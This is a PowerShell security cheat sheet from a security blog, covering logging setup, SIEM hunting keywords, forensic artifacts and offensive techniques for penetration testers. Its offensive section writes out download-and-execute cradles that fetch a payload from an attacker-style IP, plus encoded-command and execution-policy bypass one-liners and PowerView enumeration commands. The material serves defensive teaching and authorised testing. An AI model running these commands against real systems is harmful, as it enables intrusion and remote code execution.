Monday, November 2, 2026
No menu items!
Google search engine
HomeCheat SheetsPowerShell Security Cheatsheet: The Tool That Giveth and Taketh Away

PowerShell Security Cheatsheet: The Tool That Giveth and Taketh Away

Category: Cheat Sheets

Tags: powershell, blue-team, red-team, logging, windows-security


PowerShell is the Swiss Army chainsaw of Windows administration. It can deploy patches across a thousand endpoints before lunch, and it can also download and execute malware in a single line that fits in a tweet. Whether it's your best friend or worst enemy depends entirely on which side of the incident you're standing on.

This cheatsheet covers both sides: offensive PowerShell techniques that penetration testers should know, and the defensive logging and detection that blue teams should have in place. Because if you're not logging PowerShell, you're essentially running your enterprise with your eyes closed.


Defensive: Logging Configuration

Before anything else, turn on PowerShell logging. Without it, you're investigating incidents with a blindfold on.

Script Block Logging

Records the actual PowerShell code that was executed -- including decoded/deobfuscated commands. This is the single most valuable PowerShell log source.

# Enable via Group Policy:
# Computer Configuration > Administrative Templates > Windows Components
#   > Windows PowerShell > Turn on PowerShell Script Block Logging

# Or via registry:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
  -Name "EnableScriptBlockLogging" -Value 1 -PropertyType DWORD -Force

Event ID: 4104 in Microsoft-Windows-PowerShell/Operational

Module Logging

Records pipeline execution details -- which modules and commands ran.

# Enable via Group Policy:
# Computer Configuration > Administrative Templates > Windows Components
#   > Windows PowerShell > Turn on Module Logging
# Set module names to "*" for all modules

# Or via registry:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" `
  -Name "EnableModuleLogging" -Value 1 -PropertyType DWORD -Force

Event ID: 4103 in Microsoft-Windows-PowerShell/Operational

Transcription Logging

Writes full PowerShell session transcripts to disk -- everything typed and output.

# Enable via Group Policy:
# Computer Configuration > Administrative Templates > Windows Components
#   > Windows PowerShell > Turn on PowerShell Transcription

# Or via registry:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
  -Name "EnableTranscripting" -Value 1 -PropertyType DWORD -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
  -Name "OutputDirectory" -Value "C:\PSTranscripts" -PropertyType String -Force

Constrained Language Mode

Restricts PowerShell to basic operations -- blocks .NET calls, COM objects, and type definitions.

# Check current mode
$ExecutionContext.SessionState.LanguageMode

# Force Constrained Language Mode (requires system-level enforcement via WDAC/AppLocker)
# Cannot be reliably set per-session -- attackers will just start a new session

Defensive: Detection Queries

Key Event IDs

Event ID Log What It Records
4103 PowerShell/Operational Module/pipeline execution
4104 PowerShell/Operational Script block (actual code)
4688 Security Process creation (with command line if enabled)
400 Windows PowerShell Engine start (PowerShell 2.0+)
403 Windows PowerShell Engine stop
800 Windows PowerShell Pipeline execution (legacy)

Suspicious Patterns to Hunt

# In your SIEM, alert on these in Event ID 4104:

# Download cradles
"Net.WebClient"
"DownloadString"
"DownloadFile"
"Invoke-WebRequest"
"IWR"
"wget"
"curl"
"Start-BitsTransfer"
"Invoke-RestMethod"

# Execution from memory
"IEX"
"Invoke-Expression"
"[System.Reflection.Assembly]::Load"
"[Runtime.InteropServices.Marshal]"

# Credential access
"Mimikatz"
"Get-Credential"
"ConvertTo-SecureString"
"SecureString"
"Net.NetworkCredential"

# Encoding/obfuscation
"-enc"
"-encodedcommand"
"FromBase64String"
"[Convert]::FromBase64String"
"Decompress"
"GZipStream"
"MemoryStream"
"IO.Compression"

# Reconnaissance
"Get-Process"
"Get-Service"
"Get-WmiObject"
"Get-ADUser"
"Get-ADComputer"
"Get-ADGroup"
"Get-NetUser"          # PowerView
"Get-NetComputer"      # PowerView
"Get-DomainController" # PowerView
"Invoke-ShareFinder"   # PowerView

Offensive: Common Techniques

For authorised penetration testing only. These are the techniques that red teams use and blue teams need to detect.

Download and Execute

# Download cradle (most common)
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.99/payload.ps1')

# PowerShell 3.0+ shorthand
IEX (IWR 'http://10.10.10.99/payload.ps1' -UseBasicParsing).Content

# Download to disk
(New-Object Net.WebClient).DownloadFile('http://10.10.10.99/tool.exe','C:\temp\tool.exe')

# BITS transfer (less likely to be blocked)
Start-BitsTransfer -Source 'http://10.10.10.99/tool.exe' -Destination 'C:\temp\tool.exe'

Encoded Commands

Attackers encode commands to bypass simple string-matching detections:

# Encode a command
$cmd = 'Get-Process | Where-Object {$_.ProcessName -eq "lsass"}'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encoded

AMSI Bypass Patterns

The Antimalware Scan Interface (AMSI) inspects PowerShell commands before execution. Attackers attempt to bypass it:

# Note: AMSI bypasses are detected by modern EDR
# Documenting these so defenders know what to look for in logs
# Patterns include: reflection to set amsiInitFailed, patching AmsiScanBuffer

Execution Policy Bypass

Execution policy is a safety feature, not a security boundary:

powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -file script.ps1
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

Offensive: Active Directory Enumeration

# Native AD module (requires RSAT)
Import-Module ActiveDirectory
Get-ADUser -Filter * -Properties *
Get-ADComputer -Filter * -Properties *
Get-ADGroup -Filter * -Properties *
Get-ADGroupMember -Identity "Domain Admins" -Recursive

# Without AD module (LDAP queries)
([adsisearcher]"objectCategory=computer").FindAll()
([adsisearcher]"(&(objectCategory=user)(adminCount=1))").FindAll()

# PowerView (offensive tool)
Get-NetUser
Get-NetComputer
Get-NetGroup "Domain Admins"
Find-LocalAdminAccess
Get-NetSession
Invoke-ShareFinder
Get-DomainController

Forensic: Analysing PowerShell Artifacts

Where to Find Evidence

Artifact Location
Script Block Log Microsoft-Windows-PowerShell/Operational (Event 4104)
Module Log Microsoft-Windows-PowerShell/Operational (Event 4103)
Transcripts Configured output directory (default: user's Documents)
PSReadline History %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Prefetch C:\Windows\Prefetch\POWERSHELL.EXE-*.pf
Amcache C:\Windows\appcompat\Programs\Amcache.hve
WMI Repository C:\Windows\System32\wbem\Repository\OBJECTS.DATA

PSReadline History

Often overlooked -- PSReadline stores command history across sessions:

# Read the history file
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"

# Default: last 4096 commands
# Attackers sometimes clear this, but the file's $MFT timestamps survive

Quick Reference

I Want To… Defensive Offensive
See what ran Event ID 4104 (Script Block) Get-History / PSReadline
Block execution Constrained Language Mode + WDAC -ep bypass (not a security control)
Log everything Script Block + Module + Transcription N/A
Find downloads Hunt for Net.WebClient, IWR, IEX Download cradles above
Detect recon Alert on PowerView cmdlets, AD queries Get-NetUser, Find-LocalAdminAccess
Check settings Get-ExecutionPolicy -List $ExecutionContext.SessionState.LanguageMode

What's Next

RELATED ARTICLES

LEAVE A REPLY

Please enter your comment!
Please enter your name here

- Advertisment -
Google search engine

Most Popular

Recent Comments